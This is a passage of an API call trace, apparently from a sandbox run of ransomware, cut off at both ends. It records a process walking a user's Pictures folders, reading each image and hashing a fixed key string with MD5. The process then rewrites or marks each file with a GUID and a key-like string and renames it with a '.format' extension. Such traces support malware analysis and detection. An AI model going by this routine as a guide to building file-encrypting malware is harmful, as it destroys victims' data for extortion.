lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=61417) returned 1 [0067.986] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.988] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xefc3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.988] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.989] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xefe9, lpOverlapped=0x0) returned 1 [0067.989] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.989] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.989] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.989] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac018) returned 1 [0067.990] CryptCreateHash (in: hProv=0x6ac018, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.990] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.990] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.990] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.990] GetLastError () returned 0x0 [0067.990] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.990] CryptReleaseContext (hProv=0x6ac018, dwFlags=0x0) returned 1 [0067.990] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0067.991] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xefe9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.991] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.991] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.991] CloseHandle (hObject=0x5c8) returned 1 [0067.992] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\COFUGhxhYso60.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\llzj-da3lc0sad\\cofughxhyso60.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\COFUGhxhYso60.gif.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\llzj-da3lc0sad\\cofughxhyso60.gif.format")) returned 1 [0067.993] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.993] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.994] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x315d2d0 | out: hHeap=0x5d0000) returned 1 [0067.994] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2eb6a0, ftCreationTime.dwHighDateTime=0x1d4cbf6, ftLastAccessTime.dwLowDateTime=0x8927f30, ftLastAccessTime.dwHighDateTime=0x1d4d267, ftLastWriteTime.dwLowDateTime=0x8927f30, ftLastWriteTime.dwHighDateTime=0x1d4d267, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cplLZefa0txn", cAlternateFileName="CPLLZE~1")) returned 1 [0067.994] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa24a54b0, ftCreationTime.dwHighDateTime=0x1d4cac7, ftLastAccessTime.dwLowDateTime=0x51e74ee0, ftLastAccessTime.dwHighDateTime=0x1d4d1e0, ftLastWriteTime.dwLowDateTime=0x51e74ee0, ftLastWriteTime.dwHighDateTime=0x1d4d1e0, nFileSizeHigh=0x0, nFileSizeLow=0x1505e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hGyi-Cb.jpg", cAlternateFileName="")) returned 1 [0067.994] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\hGyi-Cb.jpg") returned=".jpg" [0067.994] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\hGyi-Cb.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\llzj-da3lc0sad\\hgyi-cb.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.994] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=86110) returned 1 [0067.994] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.997] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x15038, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.997] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.997] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x1505e, lpOverlapped=0x0) returned 1 [0067.998] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.998] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.998] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.998] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac018) returned 1 [0067.999] CryptCreateHash (in: hProv=0x6ac018, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.999] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.999] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.999] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.999] GetLastError () returned 0x0 [0067.999] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.999] CryptReleaseContext (hProv=0x6ac018, dwFlags=0x0) returned 1 [0068.000] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x1505e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.000] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.000] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.000] CloseHandle (hObject=0x5c8) returned 1 [0068.001] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\hGyi-Cb.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\llzj-da3lc0sad\\hgyi-cb.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\hGyi-Cb.jpg.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\llzj-da3lc0sad\\hgyi-cb.jpg.format")) returned 1 [0068.002] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe921a6e0, ftCreationTime.dwHighDateTime=0x1d4cc25, ftLastAccessTime.dwLowDateTime=0x2dd3df70, ftLastAccessTime.dwHighDateTime=0x1d4cb71, ftLastWriteTime.dwLowDateTime=0x2dd3df70, ftLastWriteTime.dwHighDateTime=0x1d4cb71, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="JI_LbGFKzAkfRhFEM", cAlternateFileName="JI_LBG~1")) returned 1 [0068.002] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdfd1f050, ftCreationTime.dwHighDateTime=0x1d4c963, ftLastAccessTime.dwLowDateTime=0x4afeea90, ftLastAccessTime.dwHighDateTime=0x1d4d26f, ftLastWriteTime.dwLowDateTime=0x4afeea90, ftLastWriteTime.dwHighDateTime=0x1d4d26f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kC1ICfT8pFYQG", cAlternateFileName="KC1ICF~1")) returned 1 [0068.002] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2cd1660, ftCreationTime.dwHighDateTime=0x1d4c7b2, ftLastAccessTime.dwLowDateTime=0x41cdc5b0, ftLastAccessTime.dwHighDateTime=0x1d4d1b4, ftLastWriteTime.dwLowDateTime=0x41cdc5b0, ftLastWriteTime.dwHighDateTime=0x1d4d1b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="njXXDQ38ulMrkg_7vJ", cAlternateFileName="NJXXDQ~1")) returned 1 [0068.002] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd769ae0, ftCreationTime.dwHighDateTime=0x1d4c596, ftLastAccessTime.dwLowDateTime=0xfe86f120, ftLastAccessTime.dwHighDateTime=0x1d4cf40, ftLastWriteTime.dwLowDateTime=0xfe86f120, ftLastWriteTime.dwHighDateTime=0x1d4cf40, nFileSizeHigh=0x0, nFileSizeLow=0x2670, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VWPZkESw1UhD8UaF6.bmp", cAlternateFileName="VWPZKE~1.BMP")) returned 1 [0068.003] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\VWPZkESw1UhD8UaF6.bmp") returned=".bmp" [0068.003] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\VWPZkESw1UhD8UaF6.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\llzj-da3lc0sad\\vwpzkesw1uhd8uaf6.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.003] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=9840) returned 1 [0068.003] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.005] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x264a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.005] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.006] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x2670, lpOverlapped=0x0) returned 1 [0068.006] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.006] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.006] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.006] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abd70) returned 1 [0068.007] CryptCreateHash (in: hProv=0x6abd70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.007] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.007] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.007] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.007] GetLastError () returned 0x0 [0068.007] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.007] CryptReleaseContext (hProv=0x6abd70, dwFlags=0x0) returned 1 [0068.007] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x2670, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.008] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.008] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.008] CloseHandle (hObject=0x5c8) returned 1 [0068.009] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\VWPZkESw1UhD8UaF6.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\llzj-da3lc0sad\\vwpzkesw1uhd8uaf6.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\VWPZkESw1UhD8UaF6.bmp.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\llzj-da3lc0sad\\vwpzkesw1uhd8uaf6.bmp.format")) returned 1 [0068.010] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd769ae0, ftCreationTime.dwHighDateTime=0x1d4c596, ftLastAccessTime.dwLowDateTime=0xfe86f120, ftLastAccessTime.dwHighDateTime=0x1d4cf40, ftLastWriteTime.dwLowDateTime=0xfe86f120, ftLastWriteTime.dwHighDateTime=0x1d4cf40, nFileSizeHigh=0x0, nFileSizeLow=0x2670, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VWPZkESw1UhD8UaF6.bmp", cAlternateFileName="VWPZKE~1.BMP")) returned 0 [0068.010] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0068.010] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0068.010] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abd70 [0068.010] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0068.010] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.010] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.010] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mwC61ttLhFHO7U8H\\") returned="mwC61ttLhFHO7U8H\\" [0068.010] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x31830e8 [0068.011] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325da20 [0068.011] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0068.011] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3286da0 [0068.011] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0068.011] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0068.011] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0068.011] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0068.011] PathFindFileNameW (pszPath="") returned="" [0068.011] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.011] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mwC61ttLhFHO7U8H\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad20ffc0, ftCreationTime.dwHighDateTime=0x1d4c8af, ftLastAccessTime.dwLowDateTime=0x8cce6d0, ftLastAccessTime.dwHighDateTime=0x1d4c587, ftLastWriteTime.dwLowDateTime=0x8cce6d0, ftLastWriteTime.dwHighDateTime=0x1d4c587, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0068.011] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.011] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad20ffc0, ftCreationTime.dwHighDateTime=0x1d4c8af, ftLastAccessTime.dwLowDateTime=0x8cce6d0, ftLastAccessTime.dwHighDateTime=0x1d4c587, ftLastWriteTime.dwLowDateTime=0x8cce6d0, ftLastWriteTime.dwHighDateTime=0x1d4c587, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.011] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1afaf0, ftCreationTime.dwHighDateTime=0x1d4c6b7, ftLastAccessTime.dwLowDateTime=0xc128bc40, ftLastAccessTime.dwHighDateTime=0x1d4c62c, ftLastWriteTime.dwLowDateTime=0xc128bc40, ftLastWriteTime.dwHighDateTime=0x1d4c62c, nFileSizeHigh=0x0, nFileSizeLow=0xa72e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="E_wjAqxP.jpg", cAlternateFileName="")) returned 1 [0068.011] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.011] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xbe) returned 0x3185980 [0068.011] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.011] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mwC61ttLhFHO7U8H\\E_wjAqxP.jpg") returned=".jpg" [0068.011] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mwC61ttLhFHO7U8H\\E_wjAqxP.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\mwc61ttlhfho7u8h\\e_wjaqxp.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.011] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=42798) returned 1 [0068.011] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.014] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xa708, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.014] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.015] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0068.015] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.015] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.015] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xa72e, lpOverlapped=0x0) returned 1 [0068.015] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.015] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0068.015] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.015] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.015] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac238) returned 1 [0068.016] CryptCreateHash (in: hProv=0x6ac238, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.016] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.016] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.016] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0068.016] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.016] GetLastError () returned 0x0 [0068.016] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.016] CryptReleaseContext (hProv=0x6ac238, dwFlags=0x0) returned 1 [0068.016] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0068.016] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa730) returned 0x32b2f40 [0068.016] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0068.016] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.016] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0xa729, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0xa729, lpOverlapped=0x0) returned 1 [0068.017] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0068.017] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xa72e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.017] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf30 [0068.017] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3289700 [0068.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3289700, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0068.017] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x32563b0 [0068.017] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0068.017] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf30 | out: hHeap=0x5d0000) returned 1 [0068.017] WriteFile (in: hFile=0x5c8, lpBuffer=0x32563b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x32563b0*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0068.017] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32563b0 | out: hHeap=0x5d0000) returned 1 [0068.017] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.017] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.017] CloseHandle (hObject=0x5c8) returned 1 [0068.018] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x6cebb8 [0068.018] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8a0) returned 0x3178dd8 [0068.018] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6cebb8 | out: hHeap=0x5d0000) returned 1 [0068.018] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mwC61ttLhFHO7U8H\\E_wjAqxP.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\mwc61ttlhfho7u8h\\e_wjaqxp.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mwC61ttLhFHO7U8H\\E_wjAqxP.jpg.format" (normalized: 